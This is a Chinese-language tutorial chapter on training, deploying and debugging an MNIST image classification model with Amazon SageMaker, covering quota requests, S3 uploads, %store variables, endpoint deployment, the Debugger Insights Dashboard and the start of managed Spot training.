在本章中,我们将使用多个 ml.p2.xlarge
实例来训练图像分类模型。在我们能够使用此类实例来训练机器学习模型之前,我们需要通过 0
请求增加服务配额(或服务限制);如果我们使用 ml.p2.xlarge
实例运行训练作业,将会遇到 ResourceLimitExceeded
错误。
重要提示
本章假设我们在使用服务来管理和创建不同类型的资源时,正在使用 us-west-2
区域。您可以使用不同的区域,但请确保在需要将某些资源转移到所选区域的情况下,进行任何必要的调整。
按照以下步骤创建支持案例并请求增加 SageMaker 训练实例数量限制:
-
在 AWS 管理控制台的搜索栏中导航到
support
-
从 服务 下的结果列表中选择 支持。
- 定位并点击 创建案例 按钮。* 在 创建案例 页面上,从选项列表中选择 服务限制增加。* 在
SageMaker 训练作业
下指定以下配置* 在US West (Oregon)
下*SageMaker 训练
*ml.p2.xlarge
*2
注意
注意,增加 SageMaker 训练资源类型的服务限制并不会自动增加 SageMaker 管理预留实例训练资源类型的服务限制。
-
点击 添加另一个请求。
-
在
US West (Oregon)
-
SageMaker 管理预留实例训练
-
ml.p2.xlarge
-
2
-
在 案例描述 下,在提供的文本区域中指定以下用例描述:
Good day,
I am planning to run a SageMaker training job using 2 x ml.p2.xlarge instances to train an Image Classification model. After this I am planning to use Managed Spot Training to run a similar example and will need 2 x ml.p2.xlarge (spot) instances. Hope these 2 limit increase requests can be processed as soon as possible in the Oregon (us-west-2) region.
You can find the relevant notebooks here: https://github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS
确保如果您计划在另一个区域运行您的机器学习实验,将 Oregon (us-west-2)
替换为适当的区域。
-
滚动到 联系方式 并从 联系方式 下的选项列表中选择 网页(或如果可用,选择 聊天)。
-
最后,点击 提交 按钮。
注意,增加限制的请求可能需要大约 24 到 48 小时才能获得 AWS 支持团队 的批准。在等待期间,您可以浏览本章中解释的内容和概念。这将帮助您在动手解决实际问题之前更好地了解 SageMaker 的功能。您还可以在等待限制增加获得批准的同时跳过本章,并继续阅读 第七章,SageMaker 部署解决方案。
使用 SageMaker Python SDK 训练图像分类模型
如在 使用 SageMaker Python SDK 入门 部分中提到的,我们可以在 SageMaker 中执行训练实验时使用内置算法或自定义算法(使用脚本和自定义 Docker 容器镜像)。
数据科学家和机器学习从业者可以使用 AWS 团队准备的内置算法之一或多个快速开始使用 SageMaker 训练和部署模型。有各种各样的内置算法可供选择,并且每个算法都旨在帮助机器学习从业者解决特定的商业和机器学习问题。以下是一些可用的内置算法,以及它们可以解决的问题和用例:
-
DeepAR 预测:时间序列预测
-
主成分分析:降维
-
IP 洞察:IP 异常检测
-
潜在狄利克雷分配 (LDA):主题建模
-
序列到序列:文本摘要
-
语义分割:计算机视觉
第二种选择涉及使用 SageMaker 脚本模式,其中我们导入一个自定义训练脚本,该脚本使用深度学习框架(如 TensorFlow、PyTorch 或 MXNet)来训练模型。在这里,自定义训练脚本将在预先构建的容器内运行,这些容器包括 AWS Deep Learning Containers,如第 3 章 中所述,深度学习容器。话虽如此,当我们选择此选项时,我们只需担心准备训练脚本,因为大多数依赖项已经安装在这些脚本将运行的容器环境中。
第三种选择涉及在 SageMaker 中构建和使用自定义容器镜像来训练机器学习模型。此选项为我们提供了最高级别的灵活性,因为我们完全控制自定义训练脚本将运行的环境。
注意
哪个选项最适合我们? 如果我们想在不需要准备自定义脚本和自定义容器镜像的情况下继续训练 ML 模型,最佳选项是使用 SageMaker 的内置算法。如果我们试图将自定义脚本移植到 SageMaker,该脚本使用开源 ML 库和框架(如 scikit-learn、PyTorch 和 TensorFlow)来训练模型,那么最佳选项是使用 SageMaker 的脚本模式。如果我们需要更多的灵活性,那么我们可以选择使用我们自己的自定义容器镜像的选项。
现在我们对在 SageMaker 中训练机器学习模型时有哪些选项有了更好的了解,让我们继续讨论本节实践部分我们将要做什么。在本节中,我们将使用内置的ml.p2.xlarge
实例。为了测试我们训练的模型,我们将在ml.m5.xlarge
实例内部部署模型并启动一个推理端点。然后,这个推理端点被用来使用几个测试图像进行样本预测。
如以下图所示,在执行训练步骤时,我们可以利用分布式训练:
图 6.3 – 训练和部署图像分类模型
分布式训练可以通过使用多个实例而不是单个实例来帮助减少训练时间。由于我们使用的是内置算法,我们只需要配置训练作业以使用两个或更多实例来启用分布式训练。
考虑到这些方面,让我们继续在SageMaker Studio中创建一个新的 notebook。我们将使用它来运行训练图像分类模型的代码块。
在 SageMaker Studio 中创建一个新的 Notebook
首先,打开 SageMaker Studio 并创建一个名为CH06
的新目录。然后,在这个目录中创建一个新的Jupyter notebook并保存。
注意
在继续之前,请确保您已经完成了第一章“在 AWS 上介绍机器学习工程”中“使用 SageMaker 和 SageMaker Studio 入门”部分的动手实践解决方案。
按照以下步骤启动 SageMaker Studio 并创建用于运行本章 Python 脚本的新 notebook:
-
通过以下步骤导航到 SageMaker Studio:
-
在 AWS 管理控制台的搜索栏中输入
sagemaker studio
。 -
从功能下的结果列表中选择SageMaker Studio。
-
重要提示
本章假设我们在使用服务来管理和创建不同类型的资源时使用的是us-west-2
区域。您可以使用不同的区域,但请确保如果某些资源需要转移到所选区域,则进行任何必要的调整。
-
接下来,在侧边栏中点击SageMaker 域下的Studio。
-
点击启动应用,如以下截图所示。从下拉选项列表中选择工作室:
图 6.4 – 打开 SageMaker Studio
这将重定向你到 SageMaker Studio。等待几秒钟,直到界面加载。
- 右键单击文件浏览器侧边栏中的空白区域以打开类似于以下内容的上下文菜单:
图 6.5 – 创建新文件夹
选择CH06
。
-
通过在侧边栏中双击相应的文件夹名称,导航到
CH06
目录。 -
通过点击文件菜单并从新建子菜单下的选项中选择笔记本来创建一个新的笔记本:
图 6.6 – 创建新笔记本
在这里,我们还可以看到其他选项,包括创建新的控制台、数据整理器流程、终端、文本文件等。
-
在 Sagemaker 图像下的
数据科学
(选项) -
Python 3
-
无脚本
-
点击选择按钮。
注意
等待内核启动。这一步可能需要大约 3 到 5 分钟,因为正在为运行 Jupyter 笔记本单元格配置机器学习实例。
- 右键单击标签名称,如以下截图所示:
图 6.7 – 重命名笔记本
从上下文菜单中的选项中选择重命名笔记本…。
-
在新名称下的
PART01.ipynb
。然后,点击重命名按钮。 -
在笔记本的第一个单元格中输入以下内容:
print('Hello')
-
点击运行所选单元格并前进按钮,如以下截图所示。或者,您可以按住SHIFT键并按ENTER键来运行所选单元格并自动创建一个新单元格:
图 6.8 – 运行所选单元格
这应该会输出Hello
,它应该显示在单元格下。
注意
如果没有显示输出,这意味着要么没有内核正在运行,要么内核仍在启动。一旦内核准备好,您可以再次运行单元格。
现在笔记本已经准备好了,我们将在后续章节的每个代码块中创建一个新的单元格。
下载训练、验证和测试数据集
到目前为止,你可能想知道我们将使用什么数据集来训练我们的机器学习模型。为了回答你的问题,我们将使用MNIST 数据集,这是一个包含大量手写数字图像的大集合。以下图表中可以看到一个示例:
图 6.9 – MNIST 数据集
在这里,我们可以看到 MNIST 数据集中的每个图像都有一个与0
到9
之间的数字相对应的类别。换句话说,总共有 10 个类别,这个数据集中的每个图像恰好属于一个类别。
注意
MNIST 数据集包含数千张手写数字的图片。通常的挑战在于正确识别从 0 到 9 的哪个数字对应于显示在图片中的手写数字。对于我们人类来说,正确分类这些手写数字可能微不足道。然而,对于机器来说并不简单,因为它们必须处理图片的像素数据,并建立数字在图片中的表示模式。为了使机器能够正确分类这些图片,我们将使用深度学习(使用 SageMaker 的图像分类算法)!
为了使我们的工作更简单,我们已预先准备了训练集、验证集和测试集,并将这些存储在一个 ZIP 文件中。按照以下步骤下载此 ZIP 文件并在指定目录中提取文件:
-
运行以下语句以确保你有空的
tmp
目录准备就绪:!rm -rf tmp && mkdir -p tmp
在这里,我们在命令前使用感叹号(!
),这样我们就可以在 Jupyter 笔记本中运行终端命令。
-
使用
wget
命令下载batch1.zip
文件:!wget -O tmp/batch1.zip https://bit.ly/37zmQeb
-
接下来,运行以下代码块以在
tmp
目录内提取batch1.zip
文件的内容:%%time
!cd tmp && unzip batch1.zip && rm batch1.zip
这应该会生成一组日志,显示从 ZIP 文件中提取的文件:
图 6.10 – 启用输出日志的滚动
右键单击生成的日志消息附近的空白区域。这应该会打开一个类似于前面截图的上下文菜单。从上下文弹出菜单中的选项列表中选择启用输出滚动。
-
使用
ls
命令检查当前目录中的提取文件:!ls -RF
我们在使用ls
命令时设置了两个标志。第一个是-R
标志,它递归地列出目录树。第二个标志是-F
标志,它根据文件类型添加特定的字符:目录为/
,可执行文件为*
,符号链接为@
,FIFO 特殊文件为|
。
运行ls
命令应该会给我们一组类似于以下内容的日志:
图 6.11 – 列出提取的文件和文件夹
你应该在tmp
目录内找到五个目录 – test
、train
、train_lst
、validation
和validation_lst
:
图 6.12 – 从 batch1.zip 文件中提取的文件和目录
如前图所示,我们应该在train
目录内找到 10 个目录。这些目录中的每一个都包含几个与存储这些文件的目录名称相对应的PNG文件。例如,存储在0
目录内的 PNG 文件标签为0
。在train_lst
目录内是train.lst
文件,它包含了train
目录中标签和图像的映射(给定指定的路径和文件名)。我们应在validation
和validation_lst
目录内找到类似的目录和文件集。
-
接下来,让我们安装
IPyPlot
,我们将使用它来检查我们从 ZIP 文件中提取的图像:!pip3 install ipyplot
-
在安装
IPyPlot
后,让我们快速查看我们的标记图像集看起来像什么:import ipyplot
import glob
for i in range(0,10):
image_files = glob.glob(f"tmp/train/{i}/*.png")
print(f'---{i}---')
ipyplot.plot_images(image_files,
max_images=5,
img_width=128)
这应该会绘制一系列图像,类似于以下内容:
图 6.13 – 使用 IPyPlot 显示所选数量的图像
在这里,我们可以看到同一组图像之间的差异和变化。例如,零看起来并不相同!
在进入下一节之前,您可以随意调整和更改在调用plot_images()
函数之前max_images
参数的值。
现在我们已经有了训练、验证和测试数据集,让我们继续将这些上传到Amazon S3存储桶。
将数据上传到 S3
注意,在本章中我们将使用两个不同的 S3 存储桶,如下图所示:
图 6.14 – S3 存储桶
如我们所见,第一个 S3 存储桶将包含本节中训练作业的输入和输出文件。同样,第二个 S3 存储桶将包含我们将在本章末尾的利用托管 Spot 训练和检查点部分运行的训练作业的输入和输出文件。此外,我们将使用一种称为增量训练的技术,其中我们将使用本节生成的模型作为起点来训练一个更精确的模型。现在,让我们专注于第一个 S3 存储桶,并上传用于训练我们的机器学习模型的数据。
按照以下步骤创建一个 S3 存储桶,然后将tmp
目录中的所有文件和文件夹上传到新的 S3 存储桶:
-
指定一个唯一的 S3 存储桶名称和前缀。确保在运行以下代码块之前,将
<INSERT S3 BUCKET NAME HERE>
的值替换为一个唯一的 S3 存储桶名称:s3_bucket = "<INSERT S3 BUCKET NAME HERE>"
prefix = "ch06"
建议不要使用之前章节中创建的任何 S3 存储桶。因此,这里的 S3 存储桶名称应该是一个尚未存在的存储桶的名称。
-
让我们使用
glob()
函数准备一个包含tmp/train
目录内所有图像的列表。然后,使用len()
函数来计算生成的列表中的项目数量:training_samples = glob.glob(f"tmp/train/*/*.png")
len(training_samples)
这应该会给我们一个 4000
的值,这是 tmp/train
目录中 .png
文件的总数。
-
使用
aws s3 mb
命令创建一个新的 Amazon S3 桶。在这里,{s3_bucket}
会自动替换为之前用 Python 编写的代码单元格中s3_bucket
的值:!aws s3 mb s3://{s3_bucket}
如果 S3 桶创建步骤成功,你应该会看到一个类似于 make_bucket: <S3 bucket name>
的成功日志消息。请注意,如果在执行此命令之前桶已存在,则此步骤可能会失败。
-
接下来,使用 AWS CLI 将
tmp
目录的内容上传到目标 S3 路径:%%time
!aws s3 cp tmp/. s3://{s3_bucket}/{prefix}/ --recursive
aws s3 cp
命令的第一个参数是源(tmp/.
),而第二个参数是目标位置(S3 路径)。在这里,我们使用 --recursive
标志递归地复制所有文件从源到目标:
图 6.15 – 从 tmp 目录复制文件和目录到 S3 桶
如前图所示,aws s3 cp
命令将复制 SageMaker Studio 笔记本中 tmp
目录的所有内容到新的 S3 桶。这包括 train
、train_lst
、validation
、validation_lst
和 test
目录中的所有文件和目录。
注意
此步骤应花费大约 1 到 2 分钟完成。在等待时,不妨拿一杯咖啡或茶!
一旦上传操作完成,我们就可以开始训练 ML 模型了!
使用 SageMaker Python SDK 训练 ML 模型
在上一节中,我们将训练和验证数据集上传到了一个 Amazon S3 桶。这些数据集将在本节中运行训练作业时作为输入使用。当然,在配置和运行 SageMaker 训练作业之前,我们还需要准备一些更多的输入参数:
图 6.16 – 初始化 Estimator 对象时的要求
如前图所示,在初始化和配置 Estimator
对象时,我们需要准备一些配置参数值,以及超参数配置值。当调用 Estimator
对象的 fit()
方法时,SageMaker 使用配置 Estimator
对象时使用的参数值来运行训练作业。例如,用于训练 ML 模型的实例类型取决于初始化估计器时 instance_type
的参数值。
按照以下步骤使用 SageMaker Python SDK 训练图像分类模型:
-
导入 SageMaker Python SDK 和 Boto AWS Python SDK:
import sagemaker
import boto3
-
初始化一些先决条件,例如
session
、role
和region_name
:session = sagemaker.Session()
role = sagemaker.get_execution_role()
region_name = boto3.Session().region_name
-
使用
retrieve()
函数为图像分类算法准备图像 URI。请注意,retrieve()
函数返回内置算法的 Amazon ECR URI:image = sagemaker.image_uris.retrieve(
"image-classification",
region_name,
"1"
)
image
这应该给我们一个类似于 '433757028032.dkr.ecr.us-west-2.amazonaws.com/image-classification:1'
的值。
-
定义
map_path()
和map_input()
函数:def map_path(source):
return 's3://{}/{}/{}'.format(
s3_bucket,
prefix,
source
)
def map_input(source):
path = map_path(source)
return sagemaker.inputs.TrainingInput(
path,
distribution='FullyReplicated',
content_type='application/x-image',
s3_data_type='S3Prefix'
)
-
通过运行以下代码块来准备
data_channels
字典:data_channels = {}
channels = ["train",
"validation",
"train_lst",
"validation_lst"]
for channel in channels:
data_channels[channel] = map_input(channel)
这些数据通道对应于我们上传到 Amazon S3 存储桶中的每个目录(除了 test
目录)。
-
使用我们之前定义的
map_path()
函数生成输出路径的 S3 URL:output_path = map_path("output")
output_path
这应该给我们一个类似于 's3://<S3 BUCKET NAME>/ch06/output'
的 S3 路径。
在我们初始化 Estimator
对象之前,让我们快速回顾一下到目前为止我们已经做了什么:
图 6.17 – 数据通道和输出路径
在这里,我们可以看到在之前步骤中准备好的数据通道将在运行训练作业时作为输入使用。一旦训练作业完成,输出文件(们)将被存储在 output_path
中指定的 S3 位置。
-
一切准备就绪后,让我们初始化
Estimator
对象。在初始化Estimator
对象时,我们需要传递几个参数,例如容器镜像 URI、IAM 角色 ARN 和 SageMakersession
对象。我们还指定了在执行训练作业时使用的 ML 实例的数量和类型,以及output_path
和enable_network_isolation
的参数值:estimator = sagemaker.estimator.Estimator(
image,
role,
instance_count=2,
instance_type='ml.p2.xlarge',
output_path=output_path,
sagemaker_session=session,
enable_network_isolation=True
)
注意,初始化 Estimator
对象并不会立即运行训练作业。当我们稍后使用 fit()
方法运行训练作业时,SageMaker 将启动并配置两个 ml.p2.xlarge
实例来运行图像分类算法以训练模型。然后,结果将被上传到 output_path
中的 S3 位置。由于我们已将 enable_network_isolation
设置为 True
,我们已配置 SageMaker ML 实例内部的容器,以便在训练作业运行期间没有外部网络访问。这有助于确保设置的安全性,因为此配置防止正在运行的容器下载恶意代码或访问外部服务。
注意
我们应该没问题,因为我们正在使用 AWS 准备的容器镜像。如果我们想使用自定义容器镜像,可以将 enable_network_isolation
设置为 True
,特别是如果我们不期望容器访问外部服务或下载资源。这将有助于保护我们的机器学习环境和资源免受需要网络连接的攻击。有关此主题的更多信息,请参阅第九章,安全、治理和合规策略。
-
使用以下代码块初始化超参数配置值:
hyperparameters = {
'num_training_samples': len(training_samples),
'num_layers': 18,
'image_shape': "1,28,28",
'num_classes': 10,
'mini_batch_size': 100,
'epochs': 3,
'learning_rate': 0.01,
'top_k': 5,
'precision_dtype': 'float32'
}
可配置的超参数值取决于所使用的算法。这些只是我们可以使用图像分类算法配置的一些超参数。
-
使用
set_hyperparameters()
方法使用之前步骤中准备的超参数配置Estimator
对象:estimator.set_hyperparameters(**hyperparameters)
在这里,我们可以看到我们使用**
通过字典直接传递多个参数给函数或方法。请注意,这与调用set_hyperparameters()
方法等效,类似于以下代码块中的内容:
estimator.set_hyperparameters(
num_training_samples=len(training_samples),
num_layers=18,
image_shape="1,28,28",
...
)
注意
可选地,我们可以使用__dict__
属性检查Estimator
对象的属性。在继续下一步之前,请在单独的单元中运行estimator.__dict__
。
-
使用
fit()
方法开始训练作业:%%time
estimator.fit(inputs=data_channels, logs=True)
一旦训练作业完成,我们应该看到一组类似于以下内容的日志:
图 6.18 – 训练作业完成后生成的日志
- 当调用
fit()
方法时,在幕后执行了几个操作和步骤。SageMaker 分配了所需的 ML 实例数量后,输入数据和训练容器镜像被下载到每个实例。从下载的容器镜像中运行一个容器,并使用输入数据训练 ML 模型。生成的模型文件存储在model.tar.gz
文件中。然后,将此model.tar.gz
文件上传到配置的输出 S3 位置。最后,在训练作业完成后,SageMaker 终止实例:
图 6.19 – 调用 fit()方法后发生的情况
如前图所示,在 ML 实例内部执行的每个相关步骤都会生成日志,这些日志会自动存储在CloudWatch 日志中。这包括度量值,以及训练作业运行期间生成的不同类型的日志消息。
重要提示
此步骤可能需要大约 5 到 10 分钟才能完成。如果你遇到ResourceLimitExceeded错误,这意味着你在运行训练作业时使用某种类型的 ML 实例时已超出配额。请确保你已经完成了本章“准备基本先决条件”部分中指定的步骤。有关此主题的更多信息,请参阅aws.amazon.com/premiumsupport/knowledge-center/resourcelimitexceeded-sagemaker/
。
我们可以从存储在 CloudWatch 日志中的日志中获取大量信息。如果你在运行训练作业时遇到错误,你可以检查存储在 CloudWatch 日志中的日志(例如,/aws/sagemaker/TrainingJob
)以解决问题。
使用%store 魔法存储数据
在我们部署和测试模型之前,让我们快速存储一下我们第一个笔记本(例如,PART01.ipynb
)中使用的某些变量的备份副本:
图 6.20 – %store
魔法
我们将使用 IPython 的 %store
魔法来完成这项工作,并将这些变量值在其他笔记本中可用。我们将在 利用托管 Spot 训练和检查点 部分稍后加载这些变量值,在那里我们将创建一个新的笔记本,名为 PART02.ipynb
。
按照以下步骤使用 %store
魔法保存 PART01.ipynb
中使用的某些变量值的副本:
-
检查
model_data
的值:estimator.model_data
这应该返回存储训练作业输出文件(model.tar.gz
)的 S3 路径。
-
将
estimator.model_data
的值复制到一个名为model_data
的新变量中。同样,将最新训练作业的名称复制到一个名为job_name
的变量中:model_data = estimator.model_data
job_name = estimator.latest_training_job.name
-
使用
%store
魔法在内存中存储数据:%store model_data
%store job_name
%store role
%store region_name
%store image
如您所见,%store
魔法帮助我们将一个长的 Jupyter notebook 划分为几个更小的笔记本。稍后,在 利用托管 Spot 训练和检查点 部分,我们将使用 %store -r <变量名>
来加载在此部分中存储的变量值。
使用 SageMaker Python SDK 部署 ML 模型
是时候将模型部署到推理端点了。使用 SageMaker Python SDK 部署 ML 模型非常简单。我们只需要调用 deploy()
方法;推理端点将在几分钟内自动为我们配置和提供。
按照以下步骤使用 SageMaker Python SDK 部署我们的 ML 模型,然后进行一些测试预测:
-
使用
deploy()
方法将训练好的图像分类模型部署到实时推理端点。模型部署通常需要大约 5 到 10 分钟才能完成:endpoint = estimator.deploy(
initial_instance_count = 1,
instance_type = 'ml.m5.xlarge'
)
在这里,我们指定我们正在使用 ml.m5.xlarge
实例来托管训练好的 ML 模型。此时,您可能想知道为什么在训练或部署模型时涉及了多种不同的实例类型。首先,您需要知道的是,运行 Jupyter notebook 脚本的 SageMaker Studio 笔记本实例与用于训练或部署模型的实例不同,并且是完全独立的:
图 6.21 – 用于训练和部署模型的不同实例
在这里,我们可以看到用于训练模型的实例与部署期间使用的实例不同。在大多数情况下,用于训练模型的 ML 实例比部署训练好的模型时使用的实例更强大(并且每小时成本更高)。在我们的例子中,我们使用了两个 ml.p2.xlarge
实例(GPU 加速 | 4 个 vCPU | 61 GiB | 每个实例每小时 1.125 美元)进行训练,并使用单个 ml.m5.xlarge
实例(4 个 vCPU | 16 GiB | 每个实例每小时 0.23 美元)来托管我们的实时推理端点。
重要提示
仅从这些数字来看,我们可能会错误地假设运行 ml.p2.xlarge
训练实例的总成本高于运行用于托管已部署模型的 ml.m5.xlarge
实例的总成本。实际上,如果我们不立即删除推理实例,运行 ml.m5.xlarge
推理实例的总成本将超过运行 ml.p2.xlarge
训练实例的总成本。在训练作业完成后,用于训练的 ML 实例会自动终止。由于我们只为所使用的付费,如果我们运行两个 ml.p2.xlarge
训练实例,每个实例运行 6 分钟,我们将支付大约 $1.125 x 2 x 0.1 = $0.225
。另一方面,如果我们保持 ml.m5.xlarge
推理实例运行 24 小时,其成本将约为 $0.23 x 24 = $5.52
。为了管理成本,确保在非活动期间删除用于实时推理的实例。如果预期接收到的推理端点流量不可预测或间歇性,您可能想检查 SageMaker Serverless Inference 选项。更多信息,请参阅 aws.amazon.com/about-aws/whats-new/2021/12/amazon-sagemaker-serverless-inference/
。
-
在我们使用推理端点进行测试预测之前,让我们快速更新端点的
serializer
属性,以便接受指定的内容类型:from sagemaker.serializers import IdentitySerializer
endpoint.serializer = IdentitySerializer(
content_type="application/x-image"
)
-
让我们定义一个名为
get_class_from_results()
的函数,该函数接受 SageMaker 实时推理端点的原始输出数据,并返回相应的字符串形式的类别(例如,"ONE"
,"TWO"
,"THREE"
):import json
def get_class_from_results(results):
results_prob_list = json.loads(results)
best_index = results_prob_list.index(
max(results_prob_list)
)
return {
0: "ZERO",
1: "ONE",
2: "TWO",
3: "THREE",
4: "FOUR",
5: "FIVE",
6: "SIX",
7: "SEVEN",
8: "EIGHT",
9: "NINE"
}[best_index]
-
让我们定义一个自定义的
predict()
函数:from IPython.display import Image, display
def predict(filename, endpoint=endpoint):
byte_array_input = None
with open(filename, 'rb') as image:
f = image.read()
byte_array_input = bytearray(f)
display(Image(filename))
results = endpoint.predict(byte_array_input)
return get_class_from_results(results)
这个自定义的 predict()
函数执行以下操作:
-
打开一个测试图像,给定一个文件名。
-
在 Jupyter 笔记本中显示测试图像。
-
使用端点对象的
predict()
方法获取预测的类别值。 -
在渲染后的图像后立即打印预测的类别值:
图 6.22 – 执行测试预测
注意,在调用 endpoint.predict()
方法之后有一个额外的处理步骤。如图所示,自定义的 predict()
函数使用 get_class_from_results()
函数将推理端点的原始输出数据转换为预测类别的易于理解字符串表示。
-
现在,让我们使用我们在上一步中定义的自定义
predict()
函数:results = !ls -1 tmp/test
for filename in results:
print(predict(f"tmp/test/{filename}"))
这应该会生成一组类似于以下的结果:
图 6.23 – 执行测试预测
在这里,我们可以看到三张样本图像及其对应的预测类别值。我们的 ML 模型似乎表现得很不错!
-
最后,让我们使用
delete_endpoint()
方法删除推理端点:endpoint.delete_endpoint()
这不是很简单吗? 本节中我们执行的部署只是 AWS 上进行模型部署的许多可能场景之一。我们将在 第七章 SageMaker 部署解决方案 中探讨其他部署策略和技术。
在下一节中,我们将更详细地探讨如何使用 Debugger Insights Dashboard 来检查用于训练我们的图像分类模型的资源利用率。
使用 Debugger Insights Dashboard
在处理机器学习需求时,机器学习从业者可能会在提出高性能机器学习模型之前遇到各种问题。就像软件开发和编程一样,构建机器学习模型需要一些试错。开发者通常使用各种调试工具来帮助他们解决软件应用程序编写时的故障和实现错误。同样,机器学习从业者需要一种方法来监控和调试构建机器学习模型时的训练作业。幸运的是,Amazon SageMaker 有一个名为 SageMaker Debugger 的功能,允许我们在训练机器学习模型时解决不同的问题和瓶颈:
图 6.24 – SageMaker Debugger 功能
上述图表显示了使用 SageMaker Debugger 监控、调试和解决影响机器学习模型性能的各种问题时可用的功能。这包括跨各种机器学习框架的 数据捕获 功能、Debugger 交互式报告、SMDebug 客户端库、使用 Debugger 内置规则 和 自定义规则 的自动错误检测,以及 Debugger Insights Dashboard。
在本章中,我们将专注于使用 Debugger Insights Dashboard 来审查和监控用于训练我们的机器学习模型的实例的硬件系统资源利用率。
重要提示
注意,每次我们使用 Debugger Insights Dashboard 时都会配置一个 ml.m5.4xlarge
实例。由于在非活动期间它不会自动关闭,因此需要手动关闭这个 ml.m5.4xlarge
实例。我们将在本节结束时确保关闭此实例。
话虽如此,让我们使用 Debugger Insights Dashboard 来监控我们在前几节中使用的实例的硬件系统资源利用率:
- 通过点击以下截图所示的左侧侧边栏图标,导航到 SageMaker 资源:
图 6.25 – 导航到 SageMaker 资源
从第一个下拉菜单中的选项列表中选择 实验和试验。双击 未分配的试验组件。
- 在列表中的第一个结果上右键单击。它应该有一个以
image-classification
开头,后跟时间戳的名称。这将打开一个上下文菜单,类似于以下内容。从选项列表中选择打开调试器以获取洞察:
图 6.26 – 打开调试器以获取洞察
在这里,我们可以看到一个名为在试用详情中打开的另一个选项。如果您选择了此选项,您将看到几个图表,这些图表有助于您分析训练作业的指标和结果。
重要提示
确保在使用调试器洞察仪表板后关闭ml.m5.4xlarge
实例。
- 在概览选项卡中,向下滚动并找到资源利用率摘要报告,如图所示:
图 6.27 – 资源利用率摘要
在这里,我们可以看到硬件系统资源利用率统计信息,例如总 CPU 和 GPU 利用率、总 CPU 和 GPU 内存利用率等。
-
导航到节点选项卡。
-
向下滚动并找到不同的报告和图表,如图所示:
图 6.28 – 调试器洞察 – 节点
在这里,我们可以看到帮助我们回顾和分析不同利用率指标随时间变化的图表。这包括CPU 利用率随时间变化、网络利用率随时间变化、GPU 利用率随时间变化等报告。
注意
这些报告可以帮助机器学习工程师确定用于训练模型的资源是否“大小合适”。这有助于优化成本并在训练步骤中识别性能瓶颈。
- 在侧边栏中点击运行实例和内核图标,如图中所示:
图 6.29 – 关闭运行实例
点击运行实例和内核图标,应在 SageMaker Studio 中打开并显示运行实例、应用程序和终端。
- 通过点击关闭按钮在运行实例下关闭
ml.m5.4xlarge
运行实例,如图中所示。点击关闭按钮将打开一个弹出窗口,以验证实例关闭操作。点击全部关闭按钮继续。
到这一点,我们应该对如何在 Amazon SageMaker 中训练和部署机器学习模型有一个更好的整体理解。请注意,我们只是触及了表面,因为我们还有许多更多功能和能力可供我们使用来管理、分析和调试机器学习实验。
注意
如果您想了解更多关于SageMaker 调试器的其他功能,请随时查看《使用 Amazon SageMaker 烹饪机学习》一书的第五章,实用数据处理和分析。
在下一节中,我们将讨论 SageMaker 在训练机器学习模型时提供的更多功能和特性。
利用管理式 Spot 训练和检查点
现在我们已经更好地理解了如何使用 SageMaker Python SDK 来训练和部署机器学习模型,让我们继续使用一些额外的选项,这些选项可以在运行训练作业时显著降低成本。在本节中,我们将利用以下 SageMaker 功能和能力来训练第二个图像分类模型:
-
管理式 Spot 训练
-
检查点
-
增量训练
在 第二章,深度学习 AMI 中,我们提到可以使用 spot 实例来降低运行训练作业的成本。使用 spot 实例而不是按需实例可以帮助将总体成本降低 70% 到 90%。那么,为什么 spot 实例更便宜呢?使用 spot 实例的缺点是这些实例可能会被中断,这将导致训练作业从起点重新开始。如果我们要在 SageMaker 之外训练模型,我们就必须准备自己的一套自定义自动化脚本,以便利用和管理 spot 实例来训练我们的模型。再次强调,我们不需要准备自定义解决方案,因为 SageMaker 已经通过其 管理式 Spot 训练 功能支持自动为我们管理 spot 实例!此外,如果我们配置 SageMaker 训练作业使用 检查点,即使在使用 spot 实例时发生中断,我们也能从最后一个保存的检查点恢复训练。
在本节中,我们还将使用一种称为 增量训练 的技术,我们将使用在 使用 SageMaker Python SDK 训练图像分类模型 部分生成的模型作为起点来训练一个更精确的模型。在这里,我们将使用我们提供的预训练模型而不是从头开始训练新模型。
备注
注意,增量训练只能在使用内置的 图像分类算法、目标检测算法 和 语义分割算法 时使用。
按照以下步骤使用 SageMaker Python SDK 运行一个利用检查点、管理式 Spot 训练和增量训练的训练作业:
-
通过点击 文件 菜单并从 新建 子菜单下的选项列表中选择 笔记本 来创建一个新的笔记本。
-
在
数据科学
(在 Sagemaker 图像下找到的选项) -
Python 3
-
无脚本
-
点击 选择 按钮。
-
将笔记本重命名为
PART02.ipynb
。现在我们已经准备好了新的 Jupyter 笔记本,让我们按照以下步骤在这个 Jupyter 笔记本中运行代码块。 -
指定 S3 存储桶名称和前缀。在运行以下代码块之前,确保将
<INSERT S3 BUCKET NAME HERE>
的值替换为一个唯一的 S3 存储桶名称:s3_bucket = "<INSERT S3 BUCKET NAME HERE>"
prefix = "ch06"
注意,这应该与你在 使用 SageMaker Python SDK 训练图像分类模型 部分中创建的 S3 存储桶名称不同。在本章中,我们将使用两个不同的 S3 存储桶,类似于以下图中所示:
图 6.30 – 使用两个 S3 存储桶
第一个存储桶应包含在运行第一个训练作业后存储在 model.tar.gz
文件中的模型输出文件。在本节稍后,我们将使用此 model.tar.gz
文件作为构建新模型时利用增量训练的新训练作业的输入参数。此训练作业的输出将存储在第二个 S3 存储桶内的输出文件夹中。
-
使用 IPython 的
%store
魔法命令从 使用 SageMaker Python SDK 训练图像分类模型 部分加载存储变量的值:%store -r role
%store -r region_name
%store -r job_name
%store -r image
-
检查加载的
job_name
变量的值:job_name
这应该返回一个类似于 'image-classification-2022-04-11-16-22-24-589'
的值。
-
初始化并导入一些训练必备项:
import sagemaker
from sagemaker.estimator import Estimator
session = sagemaker.Session()
-
接下来,使用
Estimator.attach()
方法通过前一个训练作业的名称加载一个Estimator
对象:previous = Estimator.attach(job_name)
-
使用
logs()
方法检查我们在上一步中加载的训练作业的日志:previous.logs()
注意,这应该生成一组日志,类似于我们在 使用 SageMaker Python SDK 训练图像分类模型 部分中运行训练作业时生成的日志。
-
获取前一个训练作业的 ML 模型 ZIP 文件的存储位置。将此值存储在
model_data
变量中:model_data = previous.model_data
model_data
model_data
变量应该具有类似于 's3://<S3 BUCKET NAME>/ch06/output/image-classification-<DATETIME>/output/model.tar.gz'
的格式。我们将在初始化和配置新的 Estimator
对象时使用此值。
-
定义
generate_random_string()
函数,该函数将用于生成训练作业的唯一基作业名称:import string
import random
def generate_random_string():
return ''.join(
random.sample(
string.ascii_uppercase,12)
)
-
使用
generate_random_string()
生成一个唯一的基作业名称,并将其存储在base_job_name
变量中:base_job_name = generate_random_string()
